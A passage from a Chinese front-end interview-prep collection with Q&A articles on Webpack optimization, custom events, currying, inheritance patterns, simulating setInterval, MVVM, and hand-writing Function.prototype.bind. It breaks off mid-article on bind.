前端面试题手册

梳理高频技术问题,帮助你按主题复习和查漏补缺。

前端阅读 395月28日 03:28

Webpack 有哪些优化手段?

Webpack 有哪些优化手段?从构建速度和产物体积两个方向回答,面试中最常考察的优化点如下:构建速度优化1. 持久化缓存// webpack.config.jsmodule.exports = { cache: { type: 'filesystem', // Webpack 5 支持 buildDependencies: { config: [__filename] } }}首次构建后缓存写入 node_modules/.cache/webpack,二次构建可减少 60%-80% 时间。修改配置文件会自动失效。2. 缩小 Loader 处理范围module.exports = { module: { rules: [{ test: /\.js$/, include: path.resolve(__dirname, 'src'), // 只处理 src 目录 exclude: /node_modules/, use: 'babel-loader' }] }}不配置 include 时,Babel 会遍历 node_modules 中所有 JS 文件,构建时间翻倍。3. 多线程编译thread-loader:将耗时的 loader 放到 worker 池中并行执行terser-webpack-plugin 开启 parallel: true:并行压缩 JSWebpack 5 原生支持 parallel 配置4. 优化模块解析module.exports = { resolve: { extensions: ['.ts', '.tsx', '.js'], // 按使用频率排列,减少尝试次数 alias: { '@': path.resolve(__dirname, 'src') }, // 别名减少路径查找 }, module: { noParse: /lodash|jquery/, // 跳过已打包库的解析 }}noParse 告诉 Webpack 这些库没有 import/require,不需要解析依赖关系。5. 使用更快的编译器swc-loader 替代 babel-loader(Rust 实现,速度快 20 倍以上)esbuild-loader 替代 terser-webpack-plugin(Go 实现)6. DLL 预编译(Webpack 4 适用)// webpack.dll.config.jsnew webpack.DllPlugin({ name: '[name]', path: path.join(__dirname, 'dll', '[name]-manifest.json')})将 React、Vue 等不变库提前编译成 DLL,开发构建跳过。Webpack 5 的持久化缓存已基本替代此方案。产物体积优化1. 代码分割(Code Splitting)splitChunks — 提取公共依赖:module.exports = { optimization: { splitChunks: { chunks: 'all', cacheGroups: { vendors: { test: /[\\/]node_modules[\\/]/, name: 'vendors', chunks: 'all' } } } }}将 node_modules 中的库打包到独立 chunk,利用浏览器缓存。动态 import() — 按需加载:const Home = React.lazy(() => import('./Home'));const About = React.lazy(() => import('./About'));路由级懒加载,首屏只加载当前路由代码。 splitChunks 是配置层面的自动提取,动态 import() 是代码层面的手动分割,两者配合使用。2. Tree Shakingmodule.exports = { mode: 'production', // 自动开启 optimization: { usedExports: true, minimize: true, }}前提条件:必须使用 ESM(import/export),不能用 CommonJS(require)babel-loader 配置 "modules": false 防止转译为 CJSpackage.json 标记 "sideEffects": false 告知安全移除未使用导出为什么需要 ESM? ESM 的 import/export 是静态声明,编译时可确定依赖关系;CommonJS 的 require 是运行时调用,可以在 if 中使用,打包工具无法静态分析。3. Scope Hoisting(作用域提升)module.exports = { optimization: { concatenateModules: true, // 生产模式默认开启 }}将模块合并到同一个闭包中,减少函数声明和闭包数量,体积可减小 5%-10%。4. 压缩JS:terser-webpack-plugin(Webpack 5 生产模式默认启用)CSS:css-minimizer-webpack-pluginconst CssMinimizerPlugin = require('css-minimizer-webpack-plugin');module.exports = { optimization: { minimizer: [ new CssMinimizerPlugin(), ], }}5. externals 排除大型库module.exports = { externals: { react: 'React', 'react-dom': 'ReactDOM' }}将 React、Lodash 等通过 CDN 引入,不打包进 bundle,显著减小产物体积。6. 图片与资源优化小于 8KB 的图片转 base64 内联(Webpack 5 的 asset/inline)大图使用 image-webpack-loader 压缩或转 WebP{ test: /\.(png|jpg)$/, type: 'asset', parser: { dataUrlCondition: { maxSize: 8 * 1024 } // 8KB 以下内联 }}7. IgnorePlugin 排除无用模块new webpack.IgnorePlugin({ resourceRegExp: /^\.\/locale$/, contextRegExp: /moment$/})忽略 moment.js 的 locale 文件,体积减少约 200KB。构建分析工具| 工具 | 用途 ||------|------|| webpack-bundle-analyzer | 可视化分析产物体积,找出大依赖 || speed-measure-webpack-plugin | 统计各 loader/plugin 耗时 || webpack --profile --json > stats.json | 导出构建统计数据 |Webpack 5 新特性补充Module Federation:跨应用共享模块,实现微前端,避免重复打包公共依赖持久化缓存:替代 DLL 方案,配置更简单Asset Modules:内置资源模块,替代 url-loader/file-loader更好的 Tree Shaking:支持嵌套的 Tree Shaking 和内部模块的 Tree Shaking追问splitChunks 和动态 import 有什么区别?splitChunks 是 Webpack 配置层面的自动优化,根据策略提取公共依赖(如 node_modules 中的库),开发者无需手动干预。动态 import() 是代码层面的手动分割,由开发者决定哪些模块按需加载。两者互补:splitChunks 处理共享依赖,动态 import 处理路由级懒加载。Tree-Shaking 为什么需要 ESM?ESModule 的 import/export 是静态声明,在编译阶段就能确定模块的依赖关系和哪些导出被使用。CommonJS 的 require 是运行时调用,可以写在 if 语句、循环或函数中,打包工具无法在编译时判断哪些代码会被执行,因此无法安全移除未使用的代码。此外,需确保 Babel 不将 ESM 转译为 CJS(配置 "modules": false),并在 package.json 中声明 "sideEffects": false。webpack 的 cache 缓存了什么?为什么能加快构建?缓存了每个模块的 loader 处理结果和编译产物。首次构建后写入磁盘(node_modules/.cache/webpack),二次构建时 Webpack 检查文件时间戳和内容 hash,只重新编译变化的模块及其依赖链上的模块,未变化的模块直接使用缓存。典型场景:修改一个组件文件,只重新编译该文件和引用它的文件,其余数千模块跳过,构建时间从 30s 降到 5s 以内。Webpack 5 的 filesystem 缓存相比 Webpack 4 的 memory 缓存,重启开发服务器后缓存不丢失。Module Federation 解决了什么问题?多个独立构建的应用之间共享模块,避免重复打包相同依赖。典型场景:微前端架构中,主应用和子应用都依赖 React,传统方案各自打包 React,用 Module Federation 可以在运行时共享一份 React,减少总体加载量。核心配置是 exposes(暴露模块)和 remotes(消费远程模块),实现应用间的模块级复用。
前端阅读 355月28日 03:23

JavaScript 如何实现自定义事件?

基本用法:CustomEvent 三步走自定义事件的核心流程就三步:创建 → 监听 → 触发。// 1. 创建事件const event = new CustomEvent('user-login', { detail: { userId: 42, role: 'admin' }, // 携带数据 bubbles: true, // 是否冒泡 cancelable: true // 能否被 preventDefault() 取消});// 2. 监听element.addEventListener('user-login', (e) => { console.log(e.detail); // { userId: 42, role: 'admin' }});// 3. 触发element.dispatchEvent(event);detail 是 CustomEvent 独有的字段,用于携带任意数据,和 Event 构造函数的唯一区别就在这里。Event 只能表示"某件事发生了",CustomEvent 还能告诉你"发生了什么"。事件的冒泡与委托bubbles: true 让事件沿 DOM 树向上冒泡,这意味着你可以在父元素上统一监听子元素发出的自定义事件:// 子元素派发child.dispatchEvent(new CustomEvent('item-delete', { detail: { id: 1 }, bubbles: true}));// 父元素委托监听parent.addEventListener('item-delete', (e) => { console.log('删除了:', e.detail.id); e.stopPropagation(); // 阻止继续冒泡});这是事件委托在自定义事件上的直接应用——不需要给每个子元素绑定监听器,一个父元素就够了。手写 EventEmitter:脱离 DOM 的事件系统自定义事件依赖 DOM,但面试常考的是纯 JS 的发布订阅实现。核心就是一个事件名到回调数组的映射:class EventEmitter { constructor() { this.events = new Map(); } on(event, handler) { if (!this.events.has(event)) { this.events.set(event, []); } this.events.get(event).push(handler); return this; // 支持链式调用 } off(event, handler) { const handlers = this.events.get(event); if (handlers) { this.events.set(event, handlers.filter(h => h !== handler)); } return this; } emit(event, ...args) { const handlers = this.events.get(event); if (handlers) { handlers.forEach(h => h(...args)); } return this; } once(event, handler) { const wrapper = (...args) => { handler(...args); this.off(event, wrapper); }; this.on(event, wrapper); return this; }}once 的实现要点:用包装函数代替原函数注册,触发后自动解绑。面试写到这里基本够用。自定义事件 vs 发布订阅:何时选谁| 维度 | CustomEvent | EventEmitter ||------|-------------|--------------|| 依赖 | DOM 元素 | 纯 JS,无依赖 || 事件传播 | 冒泡/捕获,支持委托 | 无传播机制 || 数据传递 | detail 字段 | 直接参数 || 内存管理 | 移除元素自动清理 | 需手动 off || Shadow DOM | composed: true 可穿透 | 不涉及 |简单判断:需要 DOM 层级传播用 CustomEvent,纯数据流用 EventEmitter。无框架组件通信没有 Vue/React 时,自定义事件就是组件通信的基础设施:// 子组件:触发事件class MyInput extends HTMLElement { connectedCallback() { this.addEventListener('input', () => { this.dispatchEvent(new CustomEvent('value-change', { detail: { value: this.value }, bubbles: true })); }); }}// 父组件:监听子组件事件parent.querySelector('my-input') .addEventListener('value-change', (e) => { console.log(e.detail.value); });这就是 Web Components 通信的基本模式,也是浏览器原生组件化方案的核心机制。Shadow DOM 边界与 composedShadow DOM 默认隔离事件。composed: true 让 CustomEvent 穿透 Shadow DOM 边界,否则事件被封闭在 Shadow DOM 内部:// Shadow DOM 内部派发shadow.dispatchEvent(new CustomEvent('inner-action', { detail: { data: 1 }, bubbles: true, composed: true // 关键:穿透 Shadow DOM}));composedPath() 方法可以查看事件经过的完整路径,调试 Shadow DOM 事件传播时很有用。内存泄漏防护自定义事件常见的内存陷阱:移除元素前没解绑监听器,或者闭包引用了大对象。// 错误示范:匿名函数无法解绑el.addEventListener('my-event', (e) => { /* ... */ });// 无法 off,因为匿名函数没有引用// 正确做法:保存引用const handler = (e) => { /* ... */ };el.addEventListener('my-event', handler);// 用完解绑el.removeEventListener('my-event', handler);更安全的方案是用 AbortController:const controller = new AbortController();el.addEventListener('my-event', handler, { signal: controller.signal});// 批量清理controller.abort();一个 abort() 就能清理同一 controller 下的所有监听器,比逐个 removeEventListener 方便得多。追问自定义事件和发布订阅有什么区别?自定义事件绑定在 DOM 元素上,有冒泡/捕获机制、事件委托、stopPropagation 等 DOM 事件系统的完整能力。发布订阅(EventEmitter)是纯 JS 模式,没有 DOM 树概念。需要跨层级通信、事件委托时用自定义事件;需要纯数据流、完全与 DOM 无关时用发布订阅。不用框架(Vue/React)怎么用自定义事件做组件通信?父组件给子组件传一个 DOM 元素引用,子组件在这个元素上 dispatchEvent(new CustomEvent('change', { detail: value })),父组件监听这个元素的 change 事件。这是 Web Components 的通信基础。也可以用自定义元素的属性变化回调 observedAttributes + attributeChangedCallback 配合事件派发做双向通信。自定义事件可以跨 Shadow DOM 吗?可以。composed: true 的 CustomEvent 会穿透 Shadow DOM 边界,不设置则封闭在 Shadow DOM 内部。用 event.composedPath() 可以查看事件传播的完整路径,这对调试 Shadow DOM 内的事件流向很有帮助。
前端阅读 525月28日 03:23

什么是柯里化函数?JavaScript 中有哪些使用场景?

什么是柯里化?柯里化(Currying)是将一个接受多个参数的函数,转换成一系列每次只接受一个参数的函数。转换后的函数会逐步收集参数,直到参数齐全才执行原函数。// 普通函数function add(a, b, c) { return a + b + c;}add(1, 2, 3); // 6// 柯里化后function curryAdd(a) { return function(b) { return function(c) { return a + b + c; }; };}curryAdd(1)(2)(3); // 6核心价值是参数复用和延迟执行——你可以先固定部分参数,得到一个更具体的函数,等剩余参数就位再调用。手写通用 curry 函数面试中最常考的是手写一个通用的 curry,它能将任意多参数函数转为柯里化形式:function curry(fn) { return function curried(...args) { // 收集的参数数量 >= 原函数参数数量,直接执行 if (args.length >= fn.length) { return fn.apply(this, args); } // 否则返回新函数继续收集 return (...nextArgs) => curried.apply(this, args.concat(nextArgs)); };}验证:function sum(a, b, c) { return a + b + c;}const curriedSum = curry(sum);curriedSum(1)(2)(3); // 6curriedSum(1, 2)(3); // 6 —— 支持一次传多个参数curriedSum(1)(2, 3); // 6关键点:利用 fn.length 判断原函数期望的参数个数,利用闭包在调用链中持续传递已收集的参数。柯里化的实际使用场景参数复用:创建预设函数function log(level, timestamp, message) { console.log(`[${level}] ${timestamp}: ${message}`);}const curriedLog = curry(log);const errorLog = curriedLog('ERROR'); // 预设 levelconst errorLogNow = errorLog(Date.now()); // 预设 timestamperrorLogNow('接口超时'); // [ERROR] 1748400000000: 接口超时errorLogNow('数据解析失败'); // 复用前两个参数bind 方法的本质Function.prototype.bind 就是偏函数应用——预设 this 和部分参数,返回新函数:const obj = { x: 42 };function getX(extra) { return this.x + extra;}const boundGetX = getX.bind(obj, 8); // 预设 this + 第一个参数boundGetX(); // 50Redux 中间件的函数链Redux 中间件签名 store => next => action => {} 就是三级柯里化:const logger = store => next => action => { console.log('dispatching', action); const result = next(action); console.log('next state', store.getState()); return result;};第一层拿到 store,第二层拿到 next(下一个中间件),第三层处理 action。分层柯里化使得每层的职责清晰,也方便测试——你可以只传入部分参数来测试中间件的某一步。React 事件处理中的参数绑定// 方式一:bind 预设参数<button onClick={handleClick.bind(null, item.id)}>删除</button>// 方式二:高阶函数(本质也是柯里化)const handleClick = (id) => (e) => { e.stopPropagation(); deleteItem(id);};<button onClick={handleClick(item.id)}>删除</button>柯里化与偏函数的区别两者容易混淆,核心区别在于参数接收方式:柯里化:将函数转为一系列一元函数,每次只接受一个参数(f(a)(b)(c))偏函数:预先填充部分参数,返回的函数仍可接受多个参数(f(a, b) → f'(c, d))// 柯里化:每次一个参数const curriedAdd = curry((a, b, c) => a + b + c);curriedAdd(1)(2)(3); // 6// 偏函数:一次传剩余参数function partial(fn, ...presetArgs) { return (...laterArgs) => fn(...presetArgs, ...laterArgs);}const addFive = partial((a, b) => a + b, 5);addFive(3); // 8bind 是偏函数,不是严格柯里化——因为 bind 返回的函数可以一次接收多个参数。柯里化的局限与注意事项性能开销:每次柯里化调用都会创建新的闭包和函数对象,在性能敏感场景(如高频事件处理、大循环内)应避免过度使用。只处理显式参数:fn.length 无法识别默认参数、rest 参数。带默认值的函数柯里化后行为可能不符合预期:function greet(name, greeting = 'Hello') { return `${greeting}, ${name}`;}greet.length; // 1,只有 name 是显式参数curry(greet)('Alice'); // 直接返回 "Hello, Alice",跳过了 greeting 的柯里化步骤调试困难:柯里化链越长,调用栈越深,错误堆栈的可读性越差。生产代码中应控制嵌套层级。追问柯里化和偏函数有什么区别?柯里化将函数拆成一元函数链(f(a)(b)(c)),偏函数预设部分参数但返回函数仍可多参(f(a, b) → f'(c, d))。bind 是偏函数不是严格柯里化。能手写一个通用的 curry 函数吗?利用闭包持续收集参数,用 fn.length 判断参数是否齐全,齐全则执行,否则返回新函数继续收集。见上方"手写通用 curry 函数"部分。柯里化在 React 中有什么应用?事件处理器的参数预绑定:onClick={handleClick(id)} 用高阶函数延迟执行;Hooks 中的自定义 Hook 参数分步传入也是类似思路。
前端阅读 335月28日 03:22

JavaScript 继承方式有哪几种?各自的优缺点是什么?

JavaScript 的继承方式有以下七种,按演进顺序理解更容易记住:原型链继承、构造函数继承、组合继承、原型式继承、寄生式继承、寄生组合继承、ES6 class extends。面试中重点掌握组合继承的问题和寄生组合继承的优化思路。原型链继承将子类的原型指向父类的实例:function Parent() { this.name = 'parent'; this.colors = ['red', 'blue'];}Parent.prototype.getName = function() { return this.name;};function Child() {}Child.prototype = new Parent();const child1 = new Child();const child2 = new Child();child1.colors.push('green');console.log(child2.colors); // ['red', 'blue', 'green'] — 共享了!核心问题:所有子实例共享父实例的引用类型属性,一个实例修改了 colors,其他实例也受影响。构造函数继承在子类构造函数中调用父类构造函数:function Parent() { this.colors = ['red', 'blue'];}function Child() { Parent.call(this); // 借用构造函数}const child1 = new Child();child1.colors.push('green');console.log(new Child().colors); // ['red', 'blue'] — 不共享了解决了引用属性共享的问题,但新的问题出现了:方法只能定义在构造函数里,每次创建实例都会重新创建方法,无法复用。而且根本访问不到父类原型上的方法。组合继承把上面两种方式组合起来——属性用构造函数继承,方法用原型链继承:function Parent(name) { this.name = name; this.colors = ['red', 'blue'];}Parent.prototype.getName = function() { return this.name;};function Child(name, age) { Parent.call(this, name); // 第二次调用 Parent this.age = age;}Child.prototype = new Parent(); // 第一次调用 ParentChild.prototype.constructor = Child;这是最常用的经典方案,但有一个效率问题:Parent 被调用了两次。第一次 new Parent() 在子类原型上创建了 name 和 colors,第二次 Parent.call(this) 又在实例上创建了同名的属性,原型上的那份其实是多余的。原型式继承不定义构造函数,直接基于已有对象创建新对象:function createObj(o) { function F() {} F.prototype = o; return new F();}// ES5 标准化了这个模式Object.create(proto, propertiesObject);和原型链继承有同样的共享问题——引用类型的属性会被所有派生对象共享。适用于不需要单独创建构造函数、只想让一个对象类似于另一个对象的场景。寄生式继承在原型式继承的基础上,增强对象后返回:function createChild(original) { const clone = Object.create(original); clone.sayHi = function() { console.log('hi'); }; return clone;}通过封装函数给对象添加能力,但和构造函数继承一样——每个实例都会重新创建方法,无法复用。寄生组合继承组合继承的优化版,也是目前公认的最优继承方案:function Parent(name) { this.name = name; this.colors = ['red', 'blue'];}Parent.prototype.getName = function() { return this.name;};function Child(name, age) { Parent.call(this, name); // 只调用一次 Parent this.age = age;}// 关键:用 Object.create 代替 new Parent()Child.prototype = Object.create(Parent.prototype);Child.prototype.constructor = Child;和组合继承相比,只改了一行:把 Child.prototype = new Parent() 换成了 Child.prototype = Object.create(Parent.prototype)。这一改做到了两件事:只调用一次父类构造函数,子类原型上不会出现多余的实例属性。ES6 的 class extends 经 Babel 编译后,底层就是寄生组合继承。ES6 class extendsclass Parent { constructor(name) { this.name = name; this.colors = ['red', 'blue']; } getName() { return this.name; }}class Child extends Parent { constructor(name, age) { super(name); // 必须在 this 之前调用 this.age = age; }}语法糖,底层仍然是原型链 + 寄生组合继承,但做了额外约束:不用 new 调用会报错(内置 new.target 检查)类方法不可枚举extends 同时继承静态属性和原型方法super 作为关键字比 Parent.call(this) 更安全,确保父类构造函数在访问 this 之前执行七种方式对比| 方式 | 引用属性共享 | 方法复用 | 父类调用次数 | 适用场景 ||------|:---:|:---:|:---:|------|| 原型链继承 | 共享 | 可以 | 1 | 不含引用属性的简单继承 || 构造函数继承 | 不共享 | 不可以 | 1 | 只需继承属性不需方法 || 组合继承 | 不共享 | 可以 | 2 | 传统项目,兼容性要求高 || 原型式继承 | 共享 | 可以 | 0 | 基于对象快速派生 || 寄生式继承 | 共享 | 不可以 | 0 | 给对象添加增强能力 || 寄生组合继承 | 不共享 | 可以 | 1 | ES5 环境下最优选择 || ES6 class extends | 不共享 | 可以 | 1 | 现代开发首选 |追问寄生组合继承为什么是最优方案?只调用一次父类构造函数,避免了组合继承中子类原型上出现冗余实例属性的问题。原型链保持干净——子类原型是通过 Object.create(Parent.prototype) 创建的空对象,只包含指向父类原型的方法,不包含父类实例属性。这是 ES5 环境下兼顾效率和正确性的最佳方案。ES6 class 和寄生组合继承有什么本质区别?class 不只是语法糖,它在语义层面做了额外约束:1) 不用 new 调用直接报错(new.target 检查);2) 类方法默认不可枚举;3) extends 同时继承静态属性,寄生组合继承做不到这点需要手动处理;4) super 是关键字而非函数调用,引擎保证父类构造函数在子类访问 this 之前执行,比 Parent.call(this) 更安全。Object.create 和 new 有什么区别?Object.create(proto) 创建一个新对象并将其 __proto__ 指向 proto,不执行任何构造函数逻辑。new Constructor() 会执行构造函数,将函数体内的 this 绑定到新对象,执行初始化逻辑后返回该对象。寄生组合继承用 Object.create 替代 new Parent(),目的就是避免多执行一次父类构造函数中的初始化逻辑。为什么组合继承中父类被调用了两次?第一次是 Child.prototype = new Parent(),这一步在子类原型上创建了 name、colors 等实例属性。第二次是 Parent.call(this, name),在子类实例自身上又创建了同名属性。实例访问属性时先找自身再找原型,所以原型上那些属性虽然存在但永远不会被访问到,属于冗余创建。寄生组合继承用 Object.create 绕过了第一次调用,只保留实例属性的正确初始化。
前端阅读 425月28日 03:21

JavaScript 如何使用 setTimeout 模拟实现 setInterval?

直接用 setInterval 有一个经典问题:如果回调执行时间超过了间隔时间,回调会在事件队列中堆积。用 setTimeout 递归模拟能解决这个痛点——每次回调执行完再设置下一次定时器,确保上一次执行完毕才开始下一轮计时。function mySetInterval(fn, delay) { let timer = null; function loop() { fn(); timer = setTimeout(loop, delay); } timer = setTimeout(loop, delay); return () => clearTimeout(timer);}const cancel = mySetInterval(() => console.log('tick'), 1000);// cancel(); 需要停止时调用核心思路:在回调函数末尾递归调用 setTimeout,使得下一次定时器只有在上一次回调执行完毕后才会被注册。返回一个取消函数,调用时 clearTimeout 清除当前等待中的定时器,递归链就此中断。setInterval 的回调堆积问题setInterval(fn, 100) 的行为是:每隔 100ms 向任务队列放入一个 fn,不管前一个 fn 是否执行完毕。如果 fn 执行需要 150ms:100ms:第一个回调进入队列,开始执行200ms:第二个回调进入队列(第一个还没执行完)300ms:第三个回调进入队列结果是回调不断排队,等当前任务执行完后,队列中的回调会连续执行,间隔远小于预期。这不是"跳过间隔",而是"堆积后连续执行"。setTimeout 模拟的优势与局限优势:不会回调堆积,每次执行完才开始计时下一轮间隔更可控,实际间隔 ≈ delay + 回调执行时间局限:仍然不精确——setTimeout 只保证"至少延迟 delay 毫秒",受事件循环和主线程阻塞影响如果回调本身执行时间很长,实际间隔会远大于设定值带错误处理的增强实现基础版本有个隐患:回调抛异常时,递归链中断,定时器静默停止。加上 try-catch 可以保证异常不会打断后续执行:function mySetIntervalSafe(fn, delay) { let timer = null; function loop() { try { fn(); } catch (e) { console.error('定时器回调异常:', e); } timer = setTimeout(loop, delay); } timer = setTimeout(loop, delay); return () => clearTimeout(timer);}支持 this 绑定和参数传递原生 setInterval 支持 setInterval(fn, delay, arg1, arg2) 的参数传递和 this 绑定。补全这两个能力:function mySetIntervalFull(fn, delay, ...args) { let timer = null; const context = this; function loop() { try { fn.apply(context, args); } catch (e) { console.error('定时器回调异常:', e); } timer = setTimeout(loop, delay); } timer = setTimeout(loop, delay); return () => clearTimeout(timer);}// 用法:传递参数mySetIntervalFull((name, count) => { console.log(`${name}: ${count}`);}, 1000, 'tick', 42);追问如果需要真正精确的定时循环怎么办?setTimeout 模拟解决的是回调堆积问题,不能解决定时精度问题。精确计时需要其他方案:requestAnimationFrame + performance.now():适合动画循环,每帧检查时间戳决定是否执行Web Worker 定时器:在独立线程运行,不受主线程阻塞影响时间戳补偿:记录预期执行时间和实际已执行次数,根据偏差动态调整下一轮 delay能不能用 setInterval 模拟 setTimeout?可以,执行一次后立即 clearInterval:function mySetTimeout(fn, delay) { const id = setInterval(() => { fn(); clearInterval(id); }, delay);}但实际中没人这么做——setTimeout 本身就是更合适的 API,这个追问考查的是对两个定时器语义的理解。递归 setTimeout 会不会导致栈溢出?不会。setTimeout 的回调是宏任务,每次执行时调用栈已经清空,递归是通过事件循环调度的,不是真正的函数递归调用,调用栈深度始终为 1。
前端阅读 885月28日 03:20

什么是 MVVM 模式?它是为了解决什么问题?

MVVM 是 Model-View-ViewModel 的缩写,是一种将 UI 表现层与业务逻辑层分离的架构模式。三层的职责:Model:数据与业务逻辑,包括数据模型、API 请求、数据校验等View:UI 展示层,负责渲染界面和接收用户交互ViewModel:连接 Model 与 View 的桥梁,通过数据绑定让两者自动同步MVVM 要解决的核心问题是 View 与 Model 之间的直接耦合。在传统 MVC 中,View 可能直接读取 Model 数据,Model 变化后手动通知 View 更新,随着业务增长,Controller 膨胀成 Massive View Controller,View 和 Model 互相引用导致维护困难。MVVM 通过 ViewModel 把两者彻底解耦——View 只依赖 ViewModel,Model 完全不知道 View 的存在,通信通过数据绑定自动完成。Vue 是典型的 MVVM 实践:template 是 View,data/computed 是 Model,Vue 实例充当 ViewModel。通过响应式系统(Vue 2 的 Object.defineProperty / Vue 3 的 Proxy)拦截数据变化,配合模板编译和虚拟 DOM diff,实现 View 与 Model 的自动同步,开发者不再需要手动操作 DOM。双向绑定的实现原理双向绑定是 MVVM 的核心机制,Vue 的实现分为三个关键部分:数据劫持(Observer):递归遍历 data 对象,用 Object.defineProperty(Vue 2)或 Proxy(Vue 3)拦截属性的 get/set,每个属性对应一个 Dep(依赖收集器)模板编译(Compiler):解析模板中的指令(v-model、插值语法、v-bind 等),为每个绑定创建一个 Watcher依赖收集与派发更新(Watcher + Dep):get 时收集依赖(Watcher 订阅 Dep),set 时通知 Dep 派发更新,Watcher 触发视图重新渲染以 v-model 为例:编译时为 input 元素添加 input 事件监听,用户输入时将值赋给数据属性(View 到 Model);同时为该属性创建 Watcher,属性变化时更新 input 的 value(Model 到 View),由此形成双向数据流。MVVM 与 MVC、MVP 的区别| 对比项 | MVC | MVP | MVVM ||--------|-----|-----|------|| 通信方式 | View 和 Model 可直接通信 | View 和 Model 通过 Presenter 通信 | View 和 Model 通过 ViewModel + 数据绑定通信 || 中间层职责 | Controller 处理路由和输入 | Presenter 包含业务逻辑 | ViewModel 暴露视图状态 || View 与 Model 耦合 | 可能直接引用 | 完全解耦 | 完全解耦 || 手动同步 | 需要手动更新 View | Presenter 手动调用 View 接口 | 数据绑定自动同步 || 可测试性 | 较低 | 较高 | 最高(ViewModel 无 UI 依赖) |MVC 适合服务端渲染场景(如 Rails),MVP 适合 Android 早期开发,MVVM 适合数据驱动的 UI 框架(Vue、WPF)。选择哪种模式取决于项目复杂度和框架特性。Vue 严格来说是 MVVM 吗?不完全。尤雨溪明确表示 Vue 受 MVVM 启发但不是严格的 MVVM 实现,原因如下:Model 不是独立层:Vue 的 Model 是普通 JS 对象(data),而非独立的领域模型抽象ViewModel 不是独立可测试层:Vue 实例同时包含响应式数据、生命周期钩子、方法等,与组件耦合提供了 $refs:$refs 允许直接操作 DOM 子组件,打破了 ViewModel 与 View 的隔离原则组件化优先于架构模式:Vue 的核心思想是组件化组合而非严格的分层架构所以 Vue 更准确的定位是响应式组件化框架,MVVM 只是它的灵感来源和教学标签。为什么现在新框架很少强调 MVVM 了?因为框架的竞争维度变了:2012-2016 年:框架竞争点是架构模式——AngularJS 推 MVC,Knockout 推 MVVM,Backbone 推 MVP,开发者需要被教怎么组织代码2016 年至今:架构模式已成共识,竞争点转向组件化、响应式粒度、编译优化、开发体验。React Hooks 让函数式组件替代 Class,Vue 3 Composition API 让逻辑复用更灵活,Svelte 用编译时抹掉运行时MVVM 作为概念依然存在(数据绑定仍是所有现代框架的基石),但不再是框架的卖点,而成了底层实现细节。面试中被问到时,重点是理解其解决耦合问题的思路,而非背诵定义。追问MVVM 的缺点是什么?调试困难:数据绑定是隐式的,数据流向不如命令式代码直观,Bug 定位需要追踪绑定链路内存开销:每个绑定都创建 Watcher,大量绑定会占用更多内存过度绑定风险:双向绑定容易导致数据流混乱,特别是跨组件通信时状态变更难以追溯不适合简单 UI:对于静态展示页面,引入 MVVM 框架是过度设计Vue 3 为什么从 Object.defineProperty 改用 Proxy?Object.defineProperty 有三个缺陷:无法监听属性的新增和删除(所以 Vue 2 需要 Vue.set / Vue.delete)无法监听数组索引和 length 变化(Vue 2 通过重写数组方法修补)需要递归遍历对象的每个属性,初始化性能差Proxy 可以代理整个对象,一次性解决以上所有问题,且是惰性响应式(只在访问时才递归代理子对象),初始化性能更好。这也是 Vue 3 大型项目性能提升的关键因素之一。面试中如何简洁地回答什么是 MVVM?三句话结构:MVVM 是 Model-View-ViewModel 架构模式,通过 ViewModel 的数据绑定让 View 和 Model 自动同步它解决了传统 MVC 中 View 和 Model 直接耦合的问题,用 ViewModel 把两者彻底解耦Vue 是典型实践,通过响应式系统拦截数据变化配合模板编译实现双向绑定,但 Vue 并非严格 MVVM(有 $refs 等例外)
前端阅读 365月28日 03:20

如何实现 JavaScript 的 bind 方法?

bind 是 JavaScript 中显式绑定 this 的三种方式之一,与 call、apply 不同,bind 不会立即执行函数,而是返回一个绑定了 this 和预设参数的新函数。面试中考察 bind 的实现,重点在于:this 绑定、参数柯里化、new 调用兼容、原型链维护。最简实现:绑定 this + 预设参数bind 的核心行为只有两件事:绑定 this 上下文,预设部分参数。Function.prototype.myBind = function(context, ...args) { const fn = this; return function(...newArgs) { return fn.apply(context, [...args, ...newArgs]); };};这段代码保存了原函数引用 fn,返回的新函数在调用时将预设参数 args 和新传入参数 newArgs 合并,通过 apply 将 this 绑定到 context 执行。验证:const obj = { name: 'Alice' };function greet(greeting, punctuation) { return `${greeting}, ${this.name}${punctuation}`;}const bound = greet.myBind(obj, 'Hello');console.log(bound('!')); // "Hello, Alice!"兼容 new 调用上面的实现在 new bound() 时会出错——new 创建的实例本应作为 this,但被 bind 的 context 覆盖了。bind 的规范要求:new 的优先级高于 bind 绑定的 this。Function.prototype.myBind = function(context, ...args) { const fn = this; return function bound(...newArgs) { // new 调用时 this instanceof bound 为 true,应使用 new 创建的实例 return fn.apply( this instanceof bound ? this : context, [...args, ...newArgs] ); };};this instanceof bound 是判断是否通过 new 调用的关键:当 new bound() 执行时,this 指向新创建的实例对象,该实例的原型链上有 bound.prototype,因此 instanceof 返回 true。验证:function Person(name) { this.name = name;}const BoundPerson = Person.myBind({ name: 'ignored' });const p = new BoundPerson('Bob');console.log(p.name); // "Bob",而非 "ignored"维护原型链上面的实现仍有一个问题:通过 new bound() 创建的实例无法访问原函数原型上的属性和方法。Person.prototype.sayHi = function() { return `Hi, I'm ${this.name}`;};const p2 = new BoundPerson('Carol');console.log(p2.sayHi()); // TypeError: p2.sayHi is not a function原因是 bound 函数的 prototype 并没有指向 fn.prototype。需要用一个空对象作为桥接:Function.prototype.myBind = function(context, ...args) { if (typeof this !== 'function') { throw new TypeError('Bind must be called on a function'); } const fn = this; const fNOP = function() {}; const bound = function(...newArgs) { return fn.apply( this instanceof bound ? this : context, [...args, ...newArgs] ); }; // 维护原型链:让 bound 的实例能访问原函数的原型 fNOP.prototype = fn.prototype; bound.prototype = new fNOP(); return bound;};为什么用 fNOP 做中介而不是直接 bound.prototype = fn.prototype?因为直接赋值后,修改 bound.prototype 会同步影响 fn.prototype,这不符合预期。中介对象隔断了这种引用关系。验证:const p3 = new BoundPerson('Dave');console.log(p3.sayHi()); // "Hi, I'm Dave"console.log(p3 instanceof Person); // true边界情况与细节this 不是函数时抛出错误原生 bind 在非函数值上调用会抛出 TypeError,实现中应当对齐这一行为,已在上面的完整实现中包含。箭头函数的 bind 无效箭头函数没有自己的 this,其 this 由外层词法作用域决定。对箭头函数调用 bind 虽然不会报错,但绑定的 this 不会生效。const arrow = () => this;const boundArrow = arrow.myBind({ x: 1 });console.log(boundArrow()); // 仍是外层 this,而非 { x: 1 }bind 返回的函数没有 prototype 属性原生 bind 返回的绑定函数 prototype 为 undefined,不能作为构造函数使用(虽然通过 new 仍可调用,但原型链由内部 [[Constructor]] 处理)。这一点在深度追问时需要注意。多次 bind 不会叠加 thisbind 返回的函数内部 this 已固定,再次 bind 